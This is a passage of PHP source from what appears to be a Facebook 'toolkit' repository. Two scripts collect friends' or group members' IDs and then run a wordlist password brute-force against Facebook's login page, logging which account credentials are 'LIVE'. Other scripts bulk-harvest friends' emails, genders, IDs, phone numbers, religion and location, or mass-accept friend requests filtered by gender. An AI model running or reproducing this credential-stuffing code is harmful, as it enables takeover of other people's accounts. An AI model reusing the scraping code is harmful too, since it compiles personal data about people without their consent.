11 | * @since 15 June 2019
12 | */
13 |
14 | require_once "vendor/autoload.php";
15 |
16 | use PHPHtmlParser\Dom;
17 |
18 | $input = $climate->br()->input('Wordlist?');
19 | $list_password = $input->prompt();
20 |
21 | $curl = curl_init();
22 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
23 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
24 | $wahyuarifpurnomo = curl_exec($curl);
25 | curl_close($curl);
26 |
27 | $decode = json_decode($wahyuarifpurnomo);
28 |
29 | $climate->br()->info('Required retrieve ID');
30 | sleep(3);
31 | $climate->br()->info('Starting retrieve ID..');
32 | echo "\n";
33 | progress($progress);
34 |
35 | $no = 0;
36 | foreach ($decode->data as $hasil) {
37 | $no++;
38 | $colorstring = getName($n);
39 | if (!empty($hasil->id)) {
40 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
41 | $save = fopen('tmp/id.log', 'a');
42 | fwrite($save, $hasil->id . "\n");
43 | fclose($save);
44 | }
45 | }
46 |
47 | $list_id = "tmp/id.log" or die("File ID not found!");
48 | $climate->br()->info('Retrieve ID success');
49 | sleep(3);
50 | $climate->br()->info('Starting brute force your friends by ID..');
51 | echo "\n";
52 | progress($progress);
53 |
54 | //
55 |
56 | $no = 0;
57 | function brute($username, $password, $no, $url_brute)
58 | {
59 |
60 | $dom = new Dom;
61 |
62 | $save_dir_live = "result/bruteforce-live.txt";
63 | $save_dir_die = "result/bruteforce-die.txt";
64 |
65 | $ch = curl_init();
66 | curl_setopt($ch, CURLOPT_URL, $url_brute . "/login.php?login_attempt=1");
67 | curl_setopt($ch, CURLOPT_HEADER, 0);
68 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
69 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
70 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
71 | curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$username}&pass={$password}");
72 | curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
73 | $login = curl_exec($ch);
74 |
75 | $dom->loadStr($login, []);
76 | $contents = $dom->find('title');
77 |
78 | if ($contents == "Masuk Facebook | Facebook") {
79 | echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
80 | $save = fopen($save_dir_die, 'a');
81 | fwrite($save, $username . "|" . $password . "\n");
82 | fclose($save);
83 | } else if ($contents == "Coba lagi nanti") {
84 | echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
85 | $save = fopen($save_dir_die, 'a');
86 | fwrite($save, $username . "|" . $password . "\n");
87 | fclose($save);
88 | } else {
89 | echo $no . ". \e[0;33mLIVE\e[0m | $username | $password\n";
90 | $save = fopen($save_dir_live, 'a');
91 | fwrite($save, $username . "|" . $password . "\n");
92 | fclose($save);
93 | }
94 | }
95 |
96 | $file = file_get_contents("$list_id");
97 | $username = explode("\n", str_replace("\r", "", $file));
98 |
99 | $file = file_get_contents("$list_password");
100 | $password = explode("\n", str_replace("\r", "", $file));
101 |
102 | foreach ($username as $users) {
103 | $users = @trim($users);
104 | foreach ($password as $pass) {
105 | $no++;
106 | $pass = @trim($pass);
107 | echo brute($users, $pass, $no, $url_brute);
108 | }
109 | }
110 | //
111 |
112 | $save_dir_live = "result/bruteforce-live.txt";
113 | $save_dir_die = "result/bruteforce-die.txt";
114 |
115 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir_live . '" and "' . $save_dir_die . '".');
116 | $climate->br()->info('Cleaning log..');
117 | echo "\n";
118 | progress($progress);
119 | $delete = "tmp/id.log";
120 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
121 | sleep(3);
122 | $climate->br()->info('Done cleaning log.');
123 |
--------------------------------------------------------------------------------
/tools/getBruteIDMemberGroup/getBruteIDMemberGroup.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | require_once "vendor/autoload.php";
15 |
16 | use PHPHtmlParser\Dom;
17 |
18 | $input = $climate->br()->input('Wordlist?');
19 | $list_password = $input->prompt();
20 |
21 | $input = $climate->br()->input('Username or ID Group?');
22 | $id = $input->prompt();
23 |
24 | $curl = curl_init();
25 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/?access_token=" . $token);
26 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
27 | $wahyuarifpurnomo = curl_exec($curl);
28 | curl_close($curl);
29 |
30 | $decode = json_decode($wahyuarifpurnomo);
31 |
32 | $name_group = $decode->name;
33 |
34 | $climate->br()->info('Group name is ' . $name_group);
35 | sleep(3);
36 |
37 | $save_dir_name = "tmp/id_" . $name_group . ".log";
38 |
39 | $curl = curl_init();
40 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/members/?access_token=" . $token . '&limit=999999999999');
41 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
42 | $wahyuarifpurnomo = curl_exec($curl);
43 | curl_close($curl);
44 |
45 | $decode = json_decode($wahyuarifpurnomo);
46 |
47 | $climate->br()->info('Starting retrieve ID Member Group..');
48 | echo "\n";
49 | progress($progress);
50 |
51 | $no = 0;
52 | foreach ($decode->data as $hasil) {
53 | $no++;
54 | $colorstring = getName($n);
55 | if (!empty($hasil->id)) {
56 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
57 |
58 | $save_name = fopen($save_dir_name, 'a');
59 | fwrite($save, $hasil->id . "\n");
60 | fclose($save_name);
61 | }
62 | }
63 |
64 | $list_id = "tmp/id_" . $name_group . ".log" or die("File ID not found!");
65 | $climate->br()->info('Retrieve ID success');
66 | sleep(3);
67 | $climate->br()->info('Starting brute force your friends by ID Member Group..');
68 | echo "\n";
69 | progress($progress);
70 |
71 | //
72 |
73 | $no = 0;
74 | function brute($username, $password, $no, $url_brute)
75 | {
76 |
77 | $dom = new Dom;
78 |
79 | $save_dir_live = "result/bruteforce_membergroup-live.txt";
80 | $save_dir_die = "result/bruteforce_membergroup-die.txt";
81 |
82 | $ch = curl_init();
83 | curl_setopt($ch, CURLOPT_URL, $url_brute . "/login.php?login_attempt=1");
84 | curl_setopt($ch, CURLOPT_HEADER, 0);
85 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
86 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
87 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
88 | curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$username}&pass={$password}");
89 | curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
90 | $login = curl_exec($ch);
91 |
92 | $dom->loadStr($login, []);
93 | $contents = $dom->find('title');
94 |
95 | if ($contents == "Masuk Facebook | Facebook") {
96 | echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
97 | $save = fopen($save_dir_die, 'a');
98 | fwrite($save, $username . "|" . $password . "\n");
99 | fclose($save);
100 | } else if ($contents == "Coba lagi nanti") {
101 | echo $no . ". \e[0;31mDIE\e[0m | $username | $password\n";
102 | $save = fopen($save_dir_die, 'a');
103 | fwrite($save, $username . "|" . $password . "\n");
104 | fclose($save);
105 | } else {
106 | echo $no . ". \e[0;33mLIVE\e[0m | $username | $password\n";
107 | $save = fopen($save_dir_live, 'a');
108 | fwrite($save, $username . "|" . $password . "\n");
109 | fclose($save);
110 | }
111 | }
112 |
113 | $file = file_get_contents("$list_id");
114 | $username = explode("\n", str_replace("\r", "", $file));
115 |
116 | $file = file_get_contents("$list_password");
117 | $password = explode("\n", str_replace("\r", "", $file));
118 |
119 | foreach ($username as $users) {
120 | $users = @trim($users);
121 | foreach ($password as $pass) {
122 | $no++;
123 | $pass = @trim($pass);
124 | echo brute($users, $pass, $no, $url_brute);
125 | }
126 | }
127 | //
128 |
129 | $save_dir_live = "result/bruteforce_membergroup-live.txt";
130 | $save_dir_die = "result/bruteforce_membergroup-die.txt";
131 |
132 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir_live . '" and "' . $save_dir_die . '".');
133 | $climate->br()->info('Cleaning log..');
134 | echo "\n";
135 | progress($progress);
136 | $delete = "tmp/id.log";
137 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
138 | sleep(3);
139 | $climate->br()->info('Done cleaning log.');
140 |
--------------------------------------------------------------------------------
/tools/getConfirmationFriends/getConfirmationFriends.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friendrequests?limit=5000&access_token=" . $token);
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 |
24 | $climate->br()->info('Required retrieve ID friend request');
25 | sleep(3);
26 | $climate->br()->info('Starting retrieve ID friend request..');
27 | echo "\n";
28 | progress($progress);
29 |
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | $namerequests = $hasil->from->name;
35 | $idrequests = $hasil->from->id;
36 | if (!empty($idrequests)) {
37 | echo $no . "." . $colors->getColoredString(" $namerequests | $idrequests", $warifp[$colorstring]) . "\n";
38 | $save = fopen('tmp/id_requests_friends.log', 'a');
39 | fwrite($save, $idrequests . "\n");
40 | fclose($save);
41 | }
42 | }
43 |
44 | $list = "id_requests_friends.log" or die("File ID not found!");
45 | $climate->br()->info('Retrieve ID friend request success');
46 | sleep(3);
47 | $climate->br()->info('Starting confirmation all friends..');
48 | echo "\n";
49 | progress($progress);
50 |
51 | $file = file_get_contents("$list");
52 | $data = explode("\n", str_replace("\r", "", $file));
53 | $x = 0;
54 | for ($a = 0; $a < count($data); $a++) {
55 | $id = $data[$a];
56 | $x++;
57 | $curl = curl_init();
58 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friends/" . $id . "?access_token=" . $token);
59 | curl_setopt($ch, CURLOPT_POST, 1);
60 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
61 | $wahyuarifpurnomo = curl_exec($curl);
62 | curl_close($curl);
63 | $colorstring = getName($n);
64 | if ($wahyuarifpurnomo == true) {
65 | echo $x . "." . $colors->getColoredString(" ID : $id | Success confirmation ..", $warifp[$colorstring]) . "\n";
66 | } else {
67 | echo $x . "." . $colors->getColoredString(" ID : $id | Failed to confirmation ..", $warifp[$colorstring]) . "\n";
68 | }
69 | }
70 |
71 | $climate->br()->shout('Done, confirmation your friends.');
72 | $climate->br()->info('Cleaning log..');
73 | echo "\n";
74 | progress($progress);
75 | $delete = "tmp/id_requests_friends.log";
76 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
77 | sleep(3);
78 | $climate->br()->info('Done cleaning log.');
79 |
--------------------------------------------------------------------------------
/tools/getConfirmationFriendsFemale/getConfirmationFriendsFemale.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friendrequests?limit=5000&access_token=" . $token);
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 |
24 | $climate->br()->info('Required retrieve ID friend request');
25 | sleep(3);
26 | $climate->br()->info('Starting retrieve ID friend request..');
27 | echo "\n";
28 | progress($progress);
29 |
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | $namerequests = $hasil->from->name;
35 | $idrequests = $hasil->from->id;
36 | if (!empty($idrequests)) {
37 | echo $no . "." . $colors->getColoredString(" $namerequests | $idrequests", $warifp[$colorstring]) . "\n";
38 | $save = fopen('tmp/id_requests_friends.log', 'a');
39 | fwrite($save, $idrequests . "\n");
40 | fclose($save);
41 | }
42 | }
43 |
44 | /**
45 | * Collect Requests Male Friends
46 | */
47 | $list = "tmp/id_requests_friends.log" or die("File ID not found!");
48 | $climate->br()->info('Retrieve ID friend request success');
49 | sleep(3);
50 | $climate->br()->info('Require retrieve gender your friends');
51 | sleep(3);
52 | $climate->br()->info('Starting retrieve gender your friends..');
53 | echo "\n";
54 | progress($progress);
55 |
56 | $file = file_get_contents("$list");
57 | $data = explode("\n", str_replace("\r", "", $file));
58 | $x = 0;
59 | for ($a = 0; $a < count($data); $a++) {
60 | $id = $data[$a];
61 | $x++;
62 | $curl = curl_init();
63 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "/?access_token=" . $token);
64 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
65 | $wahyuarifpurnomo = curl_exec($curl);
66 | curl_close($curl);
67 | $decode = json_decode($wahyuarifpurnomo);
68 | $colorstring = getName($n);
69 | $gender = $decode->gender;
70 | $name = $decode->name;
71 | if ($gender == "female") {
72 | echo $x . "." . $colors->getColoredString(" ID : $id | Name : $name | $gender", $warifp[$colorstring]) . "\n";
73 | $save = fopen('tmp/id_requests_friends_female.log', 'a');
74 | fwrite($save, $id . "\n");
75 | fclose($save);
76 | }
77 | }
78 |
79 | $list = "tmp/id_requests_friends_female.log" or die("File ID not found!");
80 | $climate->br()->info('Retrieve gender female friends success');
81 | sleep(3);
82 | $climate->br()->info('Starting confirmation female friends..');
83 | echo "\n";
84 | progress($progress);
85 |
86 | $file = file_get_contents("$list");
87 | $data = explode("\n", str_replace("\r", "", $file));
88 | $x = 0;
89 | for ($a = 0; $a < count($data); $a++) {
90 | $id = $data[$a];
91 | $x++;
92 | $curl = curl_init();
93 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friends/" . $id . "?access_token=" . $token);
94 | curl_setopt($ch, CURLOPT_POST, 1);
95 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
96 | $wahyuarifpurnomo = curl_exec($curl);
97 | curl_close($curl);
98 | $colorstring = getName($n);
99 | if ($wahyuarifpurnomo == true) {
100 | echo $x . "." . $colors->getColoredString(" ID : $id | Success confirmation ..", $warifp[$colorstring]) . "\n";
101 | } else {
102 | echo $x . "." . $colors->getColoredString(" ID : $id | Failed to confirmation ..", $warifp[$colorstring]) . "\n";
103 | }
104 | }
105 |
106 | $climate->br()->shout('Done, confirmation your all friends based on gender female.');
107 | $climate->br()->info('Cleaning log..');
108 | echo "\n";
109 | progress($progress);
110 | $delete_id = "id_requests_friends.log";
111 | $delete_gender = "id_requests_friends_female.log";
112 | unlink($delete_id) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
113 | unlink($delete_gender) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
114 | sleep(3);
115 | $climate->br()->info('Done cleaning log.');
116 |
--------------------------------------------------------------------------------
/tools/getConfirmationFriendsMale/getConfirmationFriendsMale.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friendrequests?limit=5000&access_token=" . $token);
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 |
24 | $climate->br()->info('Required retrieve ID friend request');
25 | sleep(3);
26 | $climate->br()->info('Starting retrieve ID friend request..');
27 | echo "\n";
28 | progress($progress);
29 |
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | $namerequests = $hasil->from->name;
35 | $idrequests = $hasil->from->id;
36 | if (!empty($idrequests)) {
37 | echo $no . "." . $colors->getColoredString(" $namerequests | $idrequests", $warifp[$colorstring]) . "\n";
38 | $save = fopen('tmp/id_requests_friends.log', 'a');
39 | fwrite($save, $idrequests . "\n");
40 | fclose($save);
41 | }
42 | }
43 |
44 | /**
45 | * Collect Requests Male Friends
46 | */
47 | $list = "tmp/id_requests_friends.log" or die("File ID not found!");
48 | $climate->br()->info('Retrieve ID friend request success');
49 | sleep(3);
50 | $climate->br()->info('Require retrieve gender your friends');
51 | sleep(3);
52 | $climate->br()->info('Starting retrieve gender your friends..');
53 | echo "\n";
54 | progress($progress);
55 |
56 | $file = file_get_contents("$list");
57 | $data = explode("\n", str_replace("\r", "", $file));
58 | $x = 0;
59 | for ($a = 0; $a < count($data); $a++) {
60 | $id = $data[$a];
61 | $x++;
62 | $curl = curl_init();
63 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "/?access_token=" . $token);
64 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
65 | $wahyuarifpurnomo = curl_exec($curl);
66 | curl_close($curl);
67 | $decode = json_decode($wahyuarifpurnomo);
68 | $colorstring = getName($n);
69 | $gender = $decode->gender;
70 | $name = $decode->name;
71 | if ($gender == "male") {
72 | echo $x . "." . $colors->getColoredString(" ID : $id | Name : $name | $gender", $warifp[$colorstring]) . "\n";
73 | $save = fopen('tmp/id_requests_friends_male.log', 'a');
74 | fwrite($save, $id . "\n");
75 | fclose($save);
76 | }
77 | }
78 |
79 | $list = "tmp/id_requests_friends_male.log" or die("File ID not found!");
80 | $climate->br()->info('Retrieve gender male friends success');
81 | sleep(3);
82 | $climate->br()->info('Starting confirmation male friends..');
83 | echo "\n";
84 | progress($progress);
85 |
86 | $file = file_get_contents("$list");
87 | $data = explode("\n", str_replace("\r", "", $file));
88 | $x = 0;
89 | for ($a = 0; $a < count($data); $a++) {
90 | $id = $data[$a];
91 | $x++;
92 | $curl = curl_init();
93 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friends/" . $id . "?access_token=" . $token);
94 | curl_setopt($ch, CURLOPT_POST, 1);
95 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
96 | $wahyuarifpurnomo = curl_exec($curl);
97 | curl_close($curl);
98 | $colorstring = getName($n);
99 | if ($wahyuarifpurnomo == true) {
100 | echo $x . "." . $colors->getColoredString(" ID : $id | Success accept ..", $warifp[$colorstring]) . "\n";
101 | } else {
102 | echo $x . "." . $colors->getColoredString(" ID : $id | Failed to accept ..", $warifp[$colorstring]) . "\n";
103 | }
104 | }
105 |
106 | $climate->br()->shout('Done, confirmation your all friends based on gender male.');
107 | $climate->br()->info('Cleaning log..');
108 | echo "\n";
109 | progress($progress);
110 | $delete_id = "id_requests_friends.log";
111 | $delete_gender = "id_requests_friends_male.log";
112 | unlink($delete_id) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
113 | unlink($delete_gender) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
114 | sleep(3);
115 | $climate->br()->info('Done cleaning log.');
116 |
--------------------------------------------------------------------------------
/tools/getDataFriends/getDataFriends.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $input = $climate->br()->input('Username or ID?');
17 | $id = $input->prompt();
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 | $location = $decode->location->name;
27 | $colorstring = getName($n);
28 | echo $colors->getColoredString("> Name : $decode->name \n> Email : $decode->email \n> Phone : $decode->mobile_phone \n> ID : $decode->id \n> Location : $location \n> Bio : $decode->bio \n> Birthday : $decode->birthday \n> Gender : $decode->gender \n> Website : $decode->website \n> Link Profile : $decode->link \n> Religion : $decode->religion \n> Status : $decode->relationship_status \n", $warifp[$colorstring]) . "\n";
29 |
--------------------------------------------------------------------------------
/tools/getDeletePost/getDeletePost.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.0/me?fields=feed.limit(500)&access_token=" . $token);
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 |
24 | $climate->br()->info('Required retrieve ID Post');
25 | sleep(3);
26 | $climate->br()->info('Starting retrieve ID Post..');
27 | echo "\n";
28 | progress($progress);
29 |
30 | $no = 0;
31 | foreach ($decode->feed->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | if (!empty($hasil->id)) {
35 | echo $no . "." . $colors->getColoredString(" $hasil->message | $hasil->id", $warifp[$colorstring]) . "\n";
36 | $save = fopen('tmp/id_post.log', 'a');
37 | fwrite($save, $hasil->id . "\n");
38 | fclose($save);
39 | }
40 | }
41 |
42 | $list = "tmp/id_post.log" or die("File ID not found!");
43 | $climate->br()->info('Retrieve ID Post success');
44 | sleep(3);
45 | $climate->br()->info('Starting deleting your post..');
46 | echo "\n";
47 | progress($progress);
48 |
49 |
50 | $file = file_get_contents("$list");
51 | $data = explode("\n", str_replace("\r", "", $file));
52 | $x = 0;
53 | for ($a = 0; $a < count($data); $a++) {
54 | $id = $data[$a];
55 | $x++;
56 | $curl = curl_init();
57 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?method=delete&access_token=" . $token);
58 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
59 | $wahyuarifpurnomo = curl_exec($curl);
60 | curl_close($curl);
61 |
62 | $decode = json_decode($wahyuarifpurnomo);
63 | $colorstring = getName($n);
64 | if ($wahyuarifpurnomo === "true") {
65 | echo $x . "." . $colors->getColoredString(" POST ID : $id | Post deleted ..", $warifp[$colorstring]) . "\n";
66 | } else {
67 | echo $x . "." . $colors->getColoredString(" $wahyuarifpurnomo", $warifp[$colorstring]) . "\n";
68 | }
69 | }
70 |
71 | $climate->br()->shout('Done, deleting your post.');
72 | $climate->br()->info('Cleaning log..');
73 | echo "\n";
74 | progress($progress);
75 | $delete = "tmp/id_post.log";
76 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
77 | sleep(3);
78 | $climate->br()->info('Done cleaning log.');
79 |
--------------------------------------------------------------------------------
/tools/getEmail/getEmail.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $save_dir = "result/result_email.txt";
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 | $total = $decode->summary->total_count;
24 | $climate->br()->info('Found ' . $total . ' email addresses');
25 | sleep(5);
26 | $climate->br()->info('Starting retrieve email your friends..');
27 | echo "\n";
28 | progress($progress);
29 | $no = 0;
30 | foreach ($decode->data as $hasil) {
31 | $no++;
32 | $colorstring = getName($n);
33 | if (!empty($hasil->email)) {
34 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->email", $warifp[$colorstring]) . "\n";
35 | $save = fopen($save_dir, 'a');
36 | fwrite($save, $hasil->email . "\n");
37 | fclose($save);
38 | }
39 | }
40 |
41 | echo "\n";
42 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '"');
43 |
--------------------------------------------------------------------------------
/tools/getGender/getGender.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $save_dir = "result/result_gender.txt";
15 | $save_dir_name = "result/result_name-gender.txt";
16 |
17 | $curl = curl_init();
18 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,gender&access_token=" . $token . "&limit=5000");
19 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
20 | $wahyuarifpurnomo = curl_exec($curl);
21 | curl_close($curl);
22 |
23 | $decode = json_decode($wahyuarifpurnomo);
24 | $total = $decode->summary->total_count;
25 | $climate->br()->info('Found ' . $total . ' gender');
26 | sleep(5);
27 | $climate->br()->info('Starting retrieve gender your friends..');
28 | echo "\n";
29 | progress($progress);
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | if (!empty($hasil->gender)) {
35 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->gender", $warifp[$colorstring]) . "\n";
36 | $save = fopen($save_dir, 'a');
37 | fwrite($save, $hasil->gender . "\n");
38 |
39 | $save_name = fopen($save_dir_name, 'a');
40 | fwrite($save_name, $hasil->name . "|" . $hasil->gender . "\n");
41 |
42 | fclose($save);
43 | fclose($save_name);
44 | }
45 | }
46 |
47 | echo "\n";
48 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
49 |
--------------------------------------------------------------------------------
/tools/getID/getID.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $save_dir = "result/result_id.txt";
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 |
24 | $total = $decode->summary->total_count;
25 | $climate->br()->info('Found ' . $total . ' ID your friends');
26 | sleep(5);
27 | $climate->br()->info('Starting retrieve ID your friends..');
28 | echo "\n";
29 | progress($progress);
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | if (!empty($hasil->id)) {
35 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
36 | $save = fopen($save_dir, 'a');
37 | fwrite($save, $hasil->id . "\n");
38 | fclose($save);
39 | }
40 | }
41 |
42 | echo "\n";
43 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '"');
44 |
--------------------------------------------------------------------------------
/tools/getIDMemberGroup/getIDMemberGroup.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $input = $climate->br()->input('Username or ID Group?');
15 | $id = $input->prompt();
16 |
17 | $curl = curl_init();
18 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/?access_token=" . $token);
19 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
20 | $wahyuarifpurnomo = curl_exec($curl);
21 | curl_close($curl);
22 |
23 | $decode = json_decode($wahyuarifpurnomo);
24 |
25 | $name_group = $decode->name;
26 |
27 | $climate->br()->info('Group name is ' . $name_group);
28 | sleep(3);
29 |
30 | $save_dir = "result/result_IDmembergroup_" . $name_group . ".txt";
31 | $save_dir_name = "result/result_name-IDmembergroup_" . $name_group . ".txt";
32 |
33 | $curl = curl_init();
34 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/members/?access_token=" . $token . '&limit=999999999999');
35 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
36 | $wahyuarifpurnomo = curl_exec($curl);
37 | curl_close($curl);
38 |
39 | $decode = json_decode($wahyuarifpurnomo);
40 |
41 | $climate->br()->info('Starting retrieve ID Member Group..');
42 | echo "\n";
43 | progress($progress);
44 |
45 | $no = 0;
46 | foreach ($decode->data as $hasil) {
47 | $no++;
48 | $colorstring = getName($n);
49 | if (!empty($hasil->id)) {
50 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
51 |
52 | $save = fopen($save_dir, 'a');
53 | $save_name = fopen($save_dir_name, 'a');
54 |
55 | fwrite($save, $hasil->id . "\n");
56 | fwrite($save_name, $hasil->name . "|" . $hasil->id . "\n");
57 |
58 | fclose($save);
59 | fclose($save_name);
60 | }
61 | }
62 |
63 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
